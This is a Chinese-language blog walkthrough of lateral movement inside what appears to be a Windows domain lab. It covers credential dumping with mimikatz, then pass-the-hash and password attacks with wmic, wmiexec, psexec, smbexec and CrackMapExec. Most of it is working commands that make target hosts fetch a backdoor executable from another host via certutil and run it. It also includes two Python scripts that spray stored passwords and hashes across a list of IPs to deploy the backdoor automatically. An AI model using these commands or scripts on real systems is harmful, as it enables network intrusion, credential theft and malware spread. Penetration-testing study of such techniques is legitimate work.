赞
踩
已经获取到了webserver服务器的权限
横向移动到其他域内主机
net user /domain 获取域内用户
mimikatz logonpasswords
Ladon Adfinder BloodHound
CS: shell net time /domian
同时获取到了它的域名
CS:shell ping OWA2010CN-God.god.org
推测 192.168.3.21
就是域控主机
因为内网是在3网段,端口扫描3网段
目标列表
可以抓hash也可以抓明文
当完成以上步骤后,就可以开始进行横向移动了
WMI
是通过135
端口进行利用,支持用户名明文或者hash的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
以下有三种WMI横向移动方法
让192.168.3.32
主机下载192.168.3.31
主机上的4445.exe
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4445.exe c:/4445.exe"
成功后不会显示回显
但已经执行成功了
运行4445.exe
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/4445.exe"
上传wmiexec.vbs
到web主机上
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
但这个不适合在 CS
上面用
适合在shell里面做横向移动
这个有两种运行方式
端口随便设置,但在安全组里面要设置开启
用代理软件连接代理即可
这时就可以用本机进行通讯了
登录192.168.3.32
主机并执行whoami
命令
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
同上,但用 hash
进行命令执行
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
监听地址设置为web服务器的内网地址(因为要与其他域内主机进行通讯)
生成后门
上传后门到网站服务器根目录 C:\inetpub\wwwroot
下载后门
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"
下载成功
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/4455.exe"
成功上线
也可以将下载执行合并在一起,一条命令解决
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:\4455.exe"
利用SMB服务可以通过明文或hash传递来远程执行,
条件:445服务端口开放。
PsTools - Sysinternals | Microsoft Learn
需要管理员权限运行
反弹cmd
psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
第三方的支持用 Hash
连接,且不需要管理员执行
python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
用账号密码连接
python psexec.py ./administrator:admin!@# 45@192.168.3.32
cs-psexec
监听器选择内网的这个,修改一下用户名
这个域 如果填写就是用域用户的administrator进行登录,不填就是本地登录
有时候域用户登不上(因为账号密码需要域控的密码),可以不填写域试试
这里不填就上线成功了
python smbexec.py ./administrator:admin!@#45@192.168.3.32
smbexec god/administrator:admin!@#45@192.168.3.32
上线失败,因为登录的是域内的administrator 密码不对
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
import os ips = { '192.168.3.21', '192.168.3.25', '192.168.3.29', '192.168.3.30', '192.168.3.32' } def down(): for ip in ips: wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' % ip print(wmi_exec) os.system(wmi_exec) def zx(): for ip in ips: wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "c:/4455.exe"' % ip print(wmi_exec) os.system(wmi_exec) if __name__ == '__main__': down() zx()
运行脚本,成功上线了内网另外一台主机
对它抓密码凭证,成功获取出一个hash
这里给一个我自己修改后的脚本,支持明文与hash密码
自己修改一下脚本与python位置就行了
import subprocess ips = { '192.168.3.21', '192.168.3.25', '192.168.3.29', '192.168.3.30', '192.168.3.32' } users = { 'administrator' } passwords = { 'admin!@#45' } hashes = { 'ccef208c6485269c20db2cad21734fe7' } def execute_command(command, timeout=20): try: result = subprocess.run(command, shell=True, timeout=timeout) if result.returncode != 0: print(f'\033[93m账号或密码错误:\033[0m {command}\n') except subprocess.TimeoutExpired: print(f'\033[93m命令执行超时:\033[0m {command}\n') except Exception as e: print(f'\033[93m命令执行时出现错误:\033[0m {e}\n') def down(): for ip in ips: for user in users: for passwd in passwords: wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' print(f'\033[92m尝试下载文件: 当前ip: {ip} 当前用户: {user} 当前密码: {passwd}\033[0m') print(wmi_exec) execute_command(wmi_exec) def zx(): for ip in ips: for user in users: for passwd in passwords: wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c c:/4455.exe"' print(f'\033[92m尝试运行程序: 当前ip: {ip} 当前用户: {user} 当前密码: {passwd}\033[0m') execute_command(wmi_exec) def hash_down(): for ip in ips: for user in users: for hash in hashes: wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' print(wmi_exec) print(f'\033[92m尝试下载文件: 当前ip: {ip} 当前用户: {user} 当前hash密码: {hash}\033[0m') execute_command(wmi_exec) def hash_zx(): for ip in ips: for user in users: for hash in hashes: wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c c:/4455.exe"' print(f'\033[92m尝试运行程序: 当前ip: {ip} 当前用户: {user} 当前hash密码: {hash}\033[0m') print(wmi_exec) execute_command(wmi_exec) if __name__ == '__main__': down() zx() hash_down() hash_zx()
Github:GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks
官方手册:Site Unreachable
部分案例:CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户
下载对应release,建立socks连接,设置socks代理,配置规则,调用
安装:Site Unreachable
我在服务器上试了半天没有成功,最后还是在本地kali上进行安装,(一条命令解决)
apt-get install crackmapexec
安装使用:proxychains 安装和proxychains 代理nmap-CSDN博客
代理配置:Proxychains.conf
代理调用:Proxychains 命令
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45 '
基本都失败了,因为用的域登录
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
成功两个
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7'
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth
成功上线
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
先创建两个txt 写入域内账号 密码(一行一条)
vim user.txt
vim pass.txt
域登录全自动上线
proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
本地登录全自动上线
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。